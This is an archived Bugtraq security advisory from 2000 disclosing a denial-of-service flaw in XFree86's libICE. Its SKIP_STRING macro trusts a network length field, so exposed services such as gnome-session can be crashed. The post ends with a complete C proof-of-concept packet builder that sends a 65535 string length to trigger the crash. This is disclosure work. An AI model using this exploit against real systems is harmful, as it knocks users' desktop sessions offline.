5211097 2000-06-20 02:10 /139 rader/ Postmaster Mottagare: Bugtraq (import) <11344> Markerad av 1 person. Ärende: XFree86: libICE DoS ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.21.0006192220220.9945-100000@ferret.lmh.ox.ac.uk> Date: Mon, 19 Jun 2000 23:51:18 +0100 Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chris Evans <chris@FERRET.LMH.OX.AC.UK> To: BUGTRAQ@SECURITYFOCUS.COM Hi, I've been sitting on this one for a while. SUMMARY ======= Due to inadequate bounds checking in libICE, a denial of service exists with any application using inet listening libICE for network services. Unfortunately, there is a fairly prominent user of libICE, namely gnome-session. The misfortune deepens when we realize that when gnome-session gets a SIGSEGV, the entire X session tends to exit (after the user clicks OK in the crash dialog). The GNOME team have released GNOME-1.2 which ensures that no libICE services are exposed via TCP listening sockets. All the libICE communication in GNOME-1.2 is done over user-private UNIX domain sockets. DISCUSSION ========== libICE is, in general, pretty careful with untrusted network data. However, there is a macro, SKIP_STRING, which is used to jump over a string in the input stream. SKIP_STRING will read an unsigned short variable from the network, and then jump forward in the input buffer by that amount. A value of "65535", USHORT_MAX, is adequate to leave a pointer dangling into oblivion and cause SEGV due to read of unmapped memory. COMMENTS ======== 1) There was always likely to be a bug in libICE; the protocol suffers from the classic flaw of having a lot of chit-chat before any authentication is attempted. 2) I have in no way performed a thorough audit of the code. This was the first issue I encountered, then I stopped looking. I'd suggest anyone using libICE in a situation where security matters, should be wary. There is potential for worse than DoS. 3) I investiagted and discovered this because of GNOME. I was pretty unimpressed to discoverer a desktop aimed at the classic "end-user" listening on TCP sockets in the default configuration. libICE is one half of the story, libORBit the other half. DEMO ==== Disclaimer - I haven't bothered to prettify this packet builder. I don't check return codes, and if your byteorder != Intel x86, it might not work. If it works at all. Demo is appended Cheers Chris /* icebreak.c - Chris Evans */ #include <stdio.h> #include <unistd.h> #include <string.h> int main(int argc, const char* argv[]) { unsigned char c; unsigned int i; unsigned short s; char blankbuf[1000]; memset(blankbuf, '\0', sizeof(blankbuf)); /* Assume fd 1 is stdout */ /* ICE connection header */ /* First, pick an endian-ness */ /* Byte 1: Major opcode. Must be 0 */ c = 0; write(1, &c, 1); /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */ c = 1; write(1, &c, 1); /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */ c = 0; write(1, &c, 1); /* Byte 4: Unused. Write 0 */ c = 0; write(1, &c, 1); /* Bytes 5-8: integer length. Must be zero for byte-order message. */ i = 0; write(1, &i, 4); /* Next message - ICE_ConnectionSetup */ /* Byte 1: Major opcode. 0 for core ICE protocol message */ c = 0; write(1, &c, 1); /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */ c = 2; write(1, &c, 1); /* Bytes 3, 4: versionCount & authCount */ c = 255; write(1, &c, 1); write(1, &c, 1); /* Bytes 5-8, int length. Must be at least 8 */ i = 8; write(1, &i, 4); /* Now, bytes are part of iceConnectionSetupMsg */ /* This is an extra 8 bytes */ /* Byte 1: "must authenticate" */ c = 0; write(1, &c, 1); /* Bytes 2-8: unused */ write(1, blankbuf, 7); /* Now we're writing into the malloc'ed message data space */ /* First, a string. Give it's 16bit length a big value to get ICE code * to iterate off the end of the buffer */ s = 65535; write(1, &s, 2); /* And some blank to get the (total) 56 char data read finished */ write(1, blankbuf, 54); } (5211097) ------------------------------------------(Ombruten)